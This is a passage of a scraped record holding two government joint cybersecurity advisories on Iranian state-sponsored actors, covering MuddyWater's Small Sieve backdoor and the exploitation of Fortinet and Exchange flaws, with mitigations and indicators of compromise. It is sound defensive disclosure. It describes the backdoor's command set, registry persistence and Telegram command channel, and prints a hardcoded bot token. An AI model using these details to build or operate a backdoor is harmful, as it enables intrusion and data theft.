Utility\n\n| [T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001/>) | MuddyWater has used the native Windows cabinet creation tool, `makecab.exe`, likely to compress stolen data to be uploaded. \n**Command and Control** \nApplication Layer Protocol: Web Protocols | [T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001/>) | MuddyWater has used HTTP for C2 communications. e.g., Small Sieve beacons and tasking are performed using the Telegram API over HTTPS. \nProxy: External Proxy | [T1090.002](<https://attack.mitre.org/versions/v10/techniques/T1090/002>) | \n\nMuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. \n\nMuddyWater has used a series of compromised websites that victims connected to randomly to relay information to C2. \n \nWeb Service: Bidirectional Communication | [T1102.002](<https://attack.mitre.org/versions/v10/techniques/T1102/002>) | MuddyWater has used web services including OneHub to distribute remote access tools. \nMulti-Stage Channels | [T1104](<https://attack.mitre.org/versions/v10/techniques/T1104>) | MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back. \nIngress Tool Transfer | [T1105](<https://attack.mitre.org/versions/v10/techniques/T1105>) | MuddyWater has used malware that can upload additional files to the victim\u2019s machine. \nData Encoding: Standard Encoding | [T1132.001](<https://attack.mitre.org/versions/v10/techniques/T1132/001/>) | MuddyWater has used tools to encode C2 communications including Base64 encoding. \nData Encoding: Non-Standard Encoding | [T1132.002](<https://attack.mitre.org/versions/v10/techniques/T1132/002/>) | MuddyWater uses tools such as Small Sieve, which employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic. \nRemote Access Software | [T1219](<https://attack.mitre.org/versions/v10/techniques/T1219>) | MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally. \n**Exfiltration** \nExfiltration Over C2 Channel | [T1041](<https://attack.mitre.org/versions/v10/techniques/T1041>) | MuddyWater has used C2 infrastructure to receive exfiltrated data. \n \n### Mitigations\n\n#### Protective Controls and Architecture\n\n * **Deploy application control software to limit the applications and executable code that can be run by users. **Email attachments and files downloaded via links in emails often contain executable code. \n\n#### Identity and Access Management\n\n * **Use multifactor authentication where possible,** particularly for webmail, virtual private networks, and accounts that access critical systems. \n * **Limit the use of administrator privileges.** Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their system\u2014once infected\u2014enables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information. \n\n#### Phishing Protection\n\n * **Enable antivirus and anti-malware software and update signature definitions in a timely manner.** Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing. \n * **Be suspicious of unsolicited contact via email or social media from any individual you do not know personally.** Do not click on hyperlinks or open attachments in these communications.\n * **Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails.**\n * **Train users through awareness and simulations to recognize and report phishing and social engineering attempts.** Identify and suspend access of user accounts exhibiting unusual activity.\n * **Adopt threat reputation services at the network device, operating system, application, and email service levels. **Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks. \n\n#### Vulnerability and Configuration Management\n\n * **Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. **Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n### Additional Resources\n\n * For more information on Iranian government-sponsored malicious cyber activity, see [CISA's webpage \u2013 Iran Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/iran>) and [CNMF's press release \u2013 Iranian intel cyber suite of malware uses open source tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>). \n * For information and resources on protecting against and responding to ransomware, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), a centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/>) website for more information and how to report information securely.\n\n### References\n\n[[1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) \n[[2] MITRE ATT&amp;CK: MuddyWater ](<https://attack.mitre.org/versions/v10/groups/G0069/>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA.\n\n### Purpose\n\nThis document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. The United States\u2019 NSA agrees with this attribution and the details provided in this report.\n\n### Appendix A: IOCs\n\nThe following IP addresses are associated with MuddyWater activity:\n\n`5.199.133[.]149 \n45.142.213[.]17 \n45.142.212[.]61 \n45.153.231[.]104 \n46.166.129[.]159 \n80.85.158[.]49 \n87.236.212[.]22 \n88.119.170[.]124 \n88.119.171[.]213 \n89.163.252[.]232 \n95.181.161[.]49 \n95.181.161[.]50 \n164.132.237[.]65 \n185.25.51[.]108 \n185.45.192[.]228 \n185.117.75[.]34 \n185.118.164[.]21 \n185.141.27[.]143 \n185.141.27[.]248 \n185.183.96[.]7 \n185.183.96[.]44 \n192.210.191[.]188 \n192.210.226[.]128`\n\n### Appendix B: Small Sieve\n\n**Note:** the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.\n\n#### **Metadata**\n\n_Table 2: Gram.app.exe Metadata_\n\nFilename | gram_app.exe** ** \n---|--- \n**Description** | NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key \n**Size** | 16999598 bytes \n**MD5** | 15fa3b32539d7453a9a85958b77d4c95 \n**SHA-1** | 11d594f3b3cf8525682f6214acb7b7782056d282 \n**SHA-256** | b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 \n**Compile Time** | 2021-09-25 21:57:46 UTC \n \n_Table 3: Index.exe Metadata_\n\nFilename | index.exe \n---|--- \n**Description** | The final PyInstaller-bundled Python 3.9 backdoor \n**Size** | 17263089 bytes \n**MD5** | 5763530f25ed0ec08fb26a30c04009f1 \n**SHA-1** | 2a6ddf89a8366a262b56a251b00aafaed5321992 \n**SHA-256** | bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 \n**Compile Time** | 2021-08-01 04:39:46 UTC \n \n#### \n\n#### **Functionality **\n\n##### **_Installation _**\n\nSmall Sieve is distributed as a large (16MB) NSIS installer named `gram_app.exe`, which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary `index.exe` is installed in the user\u2019s `AppData/Roaming` directory and is added as a Run key in the registry to enabled persistence after reboot. \n\nThe installer then executes the backdoor with the \u201cPlatypus\u201d argument [[T1480](<https://attack.mitre.org/versions/v10/techniques/T1480/>)], which is also present in the registry persistence key: `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift`. \n\n##### **_Configuration _**\n\nThe backdoor attempts to restore previously initialized session data from `%LocalAppData%\\MicrosoftWindowsOutlookDataPlus.txt`. \n\nIf this file does not exist, then it uses the hardcoded values listed in table 4:\n\n_Table 4: Credentials and Session Values_\n\nField | **Value** | **Description** \n---|---|--- \nChat ID | 2090761833 | This is the Telegram Channel ID that beacons are sent to, and, from which, tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. \nBot ID | Random value between 10,000,000 and 90,000,000 | This is a bot identifier generated at startup that is sent to the C2 in the initial beacon. Commands must be prefixed with `/com[Bot ID]` in order to be processed by the malware. \nTelegram Token | 2003026094: AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY | This is the initial token used to authenticate each message to the Telegram Bot API. \n \n#### \n\n#### **Tasking **\n\nSmall Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the host\u2019s IP address, as described in the Communications (Beacon format) section below. It then waits for tasking as a Telegram bot using the** python-telegram-bot** module. \n\nTwo task formats are supported: \n\n * `/start `\u2013 no argument is passed; this causes the beacon information to be repeated. \n * `/com[BotID] [command]` \u2013 for issuing commands passed in the argument. \n\nThe following commands are supported by the second of these formats, as described in table 5: \n\n_Table 5: Supported Commands_\n\nCommand | Description \n---|--- \ndelete | This command causes the backdoor to exit; it does not remove persistence. \ndownload **url\u201d\u201dfilename** | The URL will be fetched and saved to the provided filename using the Python urllib module `urlretrieve` function. \nchange token**\u201d\u201dnewtoken** | The backdoor will reconnect to the Telegram Bot API using the provided token `newtoken`. This updated token will be stored in the encoded `MicrosoftWindowsOutlookDataPlus.txt` file. \ndisconnect | The original connection to Telegram is terminated. It is likely used after a `change token` command is issued. \n \nAny commands other than those detailed in table 5 are executed directly by passing them to `cmd.exe /c`, and the output is returned as a reply.\n\n#### **Defense Evasion **\n\n##### **_Anti-Sandbox _**\n\n##### \n\n_Figure 1: Execution Guardrail_\n\nThreat actors may be attempting to thwart simple analysis by not passing \u201cPlatypus\u201d on the command line. \n\n##### **_String obfuscation _**\n\nInternal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64-encoded. A decryption script is included in Appendix B.\n\n#### **Communications **\n\n##### **_Beacon Format _**\n\nBefore listening for tasking using CommandHandler objects from the python`-telegram-bot `module, a beacon is generated manually using the standard `requests` library:\n\n\n\n_Figure 2: Manually Generated Beacon_\n\nThe hex host data is encoded using the byte shuffling algorithm as described in the \u201cCommunications (Traffic obfuscation)\u201d section of this report. The example in figure 2 decodes to: \n\n`admin/WINDOMAIN1 | 10.17.32.18`\n\n##### \n\n##### _**Traffic obfuscation **_\n\nAlthough traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm. A Python3 implementation is shown in figure 3.\n\n\n\n_Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling_\n\n#### \n\n#### **Detection **\n\nTable 6 outlines indicators of compromise. \n\n\n_Table 6: Indicators of Compromise_\n\nType | Description | **Values** \n---|---|--- \nPath | Telegram Session Persistence File (Obfuscated) | `%LocalAppData%\\MicrosoftWindowsOutlookDataPlus.txt ` \nPath | Installation path of the Small Sieve binary | `%AppData%\\OutlookMicrosift\\index.exe ` \nRegistry value name | Persistence Registry Key pointing to index.exe with a `\u201cPlatypus\u201d `argument | `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift` \n \n#### \n\n#### **String Recover Script**\n\n\n\n_Figure 4: String Recovery Script_\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field-offices](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>). For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). United Kingdom organizations should report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://www.ncsc.gov.uk/section/about-this-website/contact-us>) (monitored 24 hours) or for urgent assistance call 03000 200 973.\n\n### Revisions\n\nFebruary 24, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-24T12:00:00", "type": "ics", "title": "Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2022-02-24T12:00:00", "id": "AA22-055A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:29:24", "description": "### Summary\n\n_**Actions to Take Today to Protect Against Iranian State-Sponsored Malicious Cyber Activity** \n\u2022 Immediately patch software affected by the following vulnerabilities: CVE-2021-34473, 2018-13379, 2020-12812, and 2019-5591._ \n\u2022 _Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>)._ \n_\u2022 Use [strong, unique passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>)._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) framework, version 10. See the [ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint cybersecurity advisory is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), and the United Kingdom\u2019s National Cyber Security Centre (NCSC) to highlight ongoing malicious cyber activity by an advanced persistent threat (APT) group that FBI, CISA, ACSC, and NCSC assess is associated with the government of Iran. FBI and CISA have observed this Iranian government-sponsored APT group exploit Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021 to gain initial access to systems in advance of follow-on operations, which include deploying ransomware. ACSC is also aware this APT group has used the same Microsoft Exchange vulnerability in Australia.\n\nThe Iranian government-sponsored APT actors are actively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations. FBI, CISA, ACSC, and NCSC assess the actors are focused on exploiting known vulnerabilities rather than targeting specific sectors. These Iranian government-sponsored APT actors can leverage this access for follow-on operations, such as data exfiltration or encryption, ransomware, and extortion.\n\nThis advisory provides observed tactics and techniques, as well as indicators of compromise (IOCs) that FBI, CISA, ACSC, and NCSC assess are likely associated with this Iranian government-sponsored APT activity.\n\nThe FBI, CISA, ACSC, and NCSC urge critical infrastructure organizations to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from Iranian government-sponsored cyber actors.\n\nFor a downloadable copy of IOCs, see AA21-321A.stix.\n\nFor more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>).\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Threat Actor Activity\n\nSince at least March 2021, the FBI and CISA have observed Iranian government-sponsored APT actors leverage Microsoft Exchange and Fortinet vulnerabilities to target a broad range of victims across multiple critical infrastructure sectors in furtherance of malicious activities. Observed activity includes the following.\n\n * In March 2021, the FBI and CISA observed these Iranian government-sponsored APT actors scanning devices on ports 4443, 8443, and 10443 for Fortinet FortiOS vulnerability [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), and enumerating devices for FortiOS vulnerabilities [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>) and [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>). The Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks. **Note:** for previous FBI and CISA reporting on this activity, refer to Joint Cybersecurity Advisory: [APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/media/news/2021/210402.pdf>).\n * In May 2021, these Iranian government-sponsored APT actors exploited a Fortigate appliance to access a webserver hosting the domain for a U.S. municipal government. The actors likely created an account with the username `elie` to further enable malicious activity. **Note: **for previous FBI reporting on this activity, refer to [FBI FLASH: APT Actors Exploiting Fortinet Vulnerabilities to Gain Initial Access for Malicious Activity](<https://www.ic3.gov/media/news/2021/210527.pdf>).\n * In June 2021, these APT actors exploited a Fortigate appliance to access environmental control networks associated with a U.S.-based hospital specializing in healthcare for children. The Iranian government-sponsored APT actors likely leveraged a server assigned to IP addresses `91.214.124[.]143` and `162.55.137[.]20`\u2014which FBI and CISA judge are associated with Iranian government cyber activity\u2014to further enable malicious activity against the hospital\u2019s network. The APT actors accessed known user accounts at the hospital from IP address `154.16.192[.]70`, which FBI and CISA judge is associated with government of Iran offensive cyber activity.\n * As of October 2021, these APT actors have leveraged a Microsoft Exchange ProxyShell vulnerability\u2014`CVE-2021-34473`\u2014to gain initial access to systems in advance of follow-on operations.\n\nACSC considers that this APT group has also used the same Microsoft Exchange vulnerability ([CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>)) in Australia.\n\n### MITRE ATT&amp;CK Tactics and Techniques\n\nFBI, CISA, ACSC, and NCSC assess the following tactics and techniques are associated with this activity.\n\n#### Resource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\nThe APT actors have used the following malicious and legitimate tools [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>), [T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] for a variety of tactics across the enterprise spectrum.\n\n * [Mimikatz](<https://attack.mitre.org/software/S0002>) for credential theft [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n * WinPEAS for privilege escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]\n * SharpWMI (Windows Management Instrumentation)\n * WinRAR for archiving collected data [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>), [T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)]\n * FileZilla for transferring files [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010>)]\n\n#### Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\nThe Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591) [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)].\n\n#### Execution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\nThe Iranian government-sponsored APT actors may have made modifications to the Task Scheduler [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:\n\n * `SynchronizeTimeZone`\n * `GoogleChangeManagement`\n * `MicrosoftOutLookUpdater`\n * `MicrosoftOutLookUpdateSchedule`\n\n#### Persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\nThe Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)]. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:\n\n * `Support`\n * `Help`\n * `elie`\n * `WADGUtilityAccount`\n\n#### Exfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)]\n\nThe FBI and CISA observed outbound File Transfer Protocol (FTP) transfers over port 443.\n\n#### Impact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)]\n\nThe APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. \n\n * sar_addr@protonmail[.]com\n * WeAreHere@secmail[.]pro\n * nosterrmann@mail[.]com\n * nosterrmann@protonmail[.]com \n\n## Detection\n\nThe FBI, CISA, ACSC, and NCSC recommend that organizations using Microsoft Exchange servers and Fortinet investigate potential suspicious activity in their networks. \n\n * Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. **Note: **refer to Appendix A for IOCs.\n * Investigate exposed Microsoft Exchange servers (both patched and unpatched) for compromise. \n * Investigate changes to Remote Desktop Protocol (RDP), firewall, and Windows Remote Management (WinRM) configurations that may allow attackers to maintain persistent access. \n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system defined or recognized scheduled tasks for unrecognized \u201cactions\u201d (for example, review the steps each scheduled task is expected to perform).\n * Review antivirus logs for indications they were unexpectedly turned off.\n * Look for WinRAR and FileZilla in unexpected locations. \n\n**Note:** for additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. \n\n### Mitigations\n\nThe FBI, CISA, ACSC, and NCSC urge network defenders to apply the following mitigations to reduce the risk of compromise by this threat.\n\n#### Patch and Update Systems\n\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. \n * Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.\n\n#### Evaluate and Update Blocklists and Allowlists\n\n * Regularly evaluate and update blocklists and allowlists.\n * If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization\u2019s execution blocklist. Any attempts to install or run this program and its associated files should be prevented.\n\n#### Implement and Enforce Backup and Restoration Policies and Procedures\n\n * Regularly back up data, air gap, and password protect backup copies offline.\n * Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. \n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud). \n\n#### Implement Network Segmentation\n\n * Implement network segmentation to restrict adversary\u2019s lateral movement. \n\n#### Secure User Accounts\n\n * Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties. \n * Require administrator credentials to install software. \n\n#### Implement Multi-Factor Authentication\n\n * Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems. \n\n#### Use Strong Passwords\n\n * Require all accounts with password logins to have strong, unique passwords.\n\n#### Secure and Monitor RDP and other Potentially Risky Services\n\n * If you use RDP, restrict it to limit access to resources over internal networks.\n * Disable unused remote access/RDP ports.\n * Monitor remote access/RDP logs. \n\n#### Use Antivirus Programs\n\n * Install and regularly update antivirus and anti-malware software on all hosts. \n\n#### Secure Remote Access\n\n * Only use secure networks and avoid using public Wi-Fi networks. \n * Consider installing and using a VPN for remote access.\n\n#### Reduce Risk of Phishing\n\n * Consider adding an email banner to emails received from outside your organization.\n * Disable hyperlinks in received emails\n\n## Resources\n\n * For more information on Iranian government-sponsored malicious cyber activity, see [us-cert.cisa.gov/Iran](<https://www.us-cert.cisa.gov/iran>). \n * For information and resources on protecting against and responding to ransomware, refer to [StopRansomware.gov](<https://www.cisa.gov/stopransomware/>), a centralized, whole-of-government webpage providing ransomware resources and alerts.\n * The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * CISA offers a range of no-cost [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>) to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the [RFJ](<https://rewardsforjustice.net/english>) website for more information and how to report information securely.\n * ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at [cyber.gov.au](<https://www.cyber.gov.au/>) and via 1300 292 371 (1300 CYBER1).\n\n### Appendix A: Indicators of Compromise\n\nIP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA21-321A.stix.\n\nIP Addresses\n\n * `91.214.124[.]143 `\n * `162.55.137[.]20 `\n * `154.16.192[.]70`\n\n#### Executable Files \n\nExecutable files observed in this activity are identified in table 1.\n\nTable 1: Executable Files \n\n**Filename:** | MicrosoftOutLookUpdater[.]exe \n---|--- \nMD5: | 1444884faed804667d8c2bfa0d63ab13 \nSHA-1: | 95E045446EFB8C9983EBFD85E39B4BE5D92C7A2A \nSHA-256: | c51fe5073bd493c7e8d83365aace3f9911437a0f2ae80042ba01ea46b55d2624 \nSHA-512: | 6451077B99C5F8ECC5C0CA88FE272156296BEB91218B39AE28A086DBA5E7E39813F044F9AF0FEDBB260941B1CD52FA237C098CBF4B2A822F08E3E98E934D0ECF \n**Filename:** | **MicrosoftOutlookUpdater.bat** \nMD5: | 1A44368EB5BF68688BA4B4357BDC874F \nSHA-1 | FA36FEBFD5A5CA0B3A1B19005B952683A7188A13 \nSHA-256 | 3A08D0CB0FF4D95ED0896F22F4DA8755525C243C457BA6273E08453E0E3AC4C4 \nSHA-512 | 70AA89449EB5DA1D84B70D114EF9D24CB74751CE12D12C783251E51775C89FDCE61B4265B43B1D613114D6A85E9C75927B706F39C576DBB036079C7E8CAF28B2 \n**Filename:** | **MicrosoftOutlookUpdater.xml** \nMD5: | AA40C49E309959FA04B7E5AC111BB770 \nSHA-1 | F1D90E10E6E3654654E0A677763C9767C913F8F0 \nSHA-256 | 5C818FE43F05F4773AD20E0862280B0D5C66611BB12459A08442F55F148400A6 \nSHA-512 | E55A86159F2E869DCDB64FDC730DA893718E20D65A04071770BD32CAE75FF8C34704BDF9F72EF055A3B362759EDE3682B3883C4D9BCF87013076638664E8078E \n**Filename:** | **GoogleChangeManagement.xml** \nMD5: | AF2D86042602CBBDCC7F1E8EFA6423F9 \nSHA-1 | CDCD97F946B78831A9B88B0A5CD785288DC603C1 \nSHA-256 | 4C691CCD811B868D1934B4B8E9ED6D5DB85EF35504F85D860E8FD84C547EBF1D \nSHA-512 | 6473DAC67B75194DEEAEF37103BBA17936F6C16FFCD2A7345A5A46756996FAD748A97F36F8FD4BE4E1F264ECE313773CC5596099D68E71344D8135F50E5D8971 \n**Filename:** | **Connector3.exe** \nMD5: | e64064f76e59dea46a0768993697ef2f \n**Filename:** | **Audio.exe or frpc.exe** \nMD5: | b90f05b5e705e0b0cb47f51b985f84db \nSHA-1 | 5bd0690247dc1e446916800af169270f100d089b \nSHA-256: | 28332bdbfaeb8333dad5ada3c10819a1a015db9106d5e8a74beaaf03797511aa \nVhash: | 017067555d5d15541az28!z \nAuthentihash: | ed463da90504f3adb43ab82044cddab8922ba029511da9ad5a52b8c20bda65ee \nImphash: | 93a138801d9601e4c36e6274c8b9d111 \nSSDEEP: | 98304:MeOuFco2Aate8mjOaFEKC8KZ1F4ANWyJXf/X+g4:MeHFV2AatevjOaDC8KZ1xNWy93U \nNote: | \n\nIdentical to \u201cfrpc.exe\u201d available at:\n\nhttps://github[.]com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_windows_amd64.zip \n \n**Filename:** | **Frps.exe** \nMD5: | 26f330dadcdd717ef575aa5bfcdbe76a \nSHA-1 | c4160aa55d092cf916a98f3b3ee8b940f2755053 \nSHA-256: | d7982ffe09f947e5b4237c9477af73a034114af03968e3c4ce462a029f072a5a \nVhash: | 017057555d6d141az25!z \nAuthentihash: | 40ed1568fef4c5f9d03c370b2b9b06a3d0bd32caca1850f509223b3cee2225ea \nImphash: | 91802a615b3a5c4bcc05bc5f66a5b219 \nSSDEEP: | 196608:/qTLyGAlLrOt8enYfrhkhBnfY0NIPvoOQiE:GLHiLrSfY5voO \nNote: | \n\nIdentical to \u201cfrps.exe\u201d available at: \n\nhttps://github[.]com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_windows_amd64.zip \n \n### APPENDIX B: MITRE ATT&amp;CK TACTICS AND TECHNIQUES\n\nTable 2 identifies MITRE ATT&amp;CK Tactics and techniques observed in this activity.\n\nTable 2: Observed Tactics and Techniques\n\nTactic | Technique \n---|--- \nResource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)] | 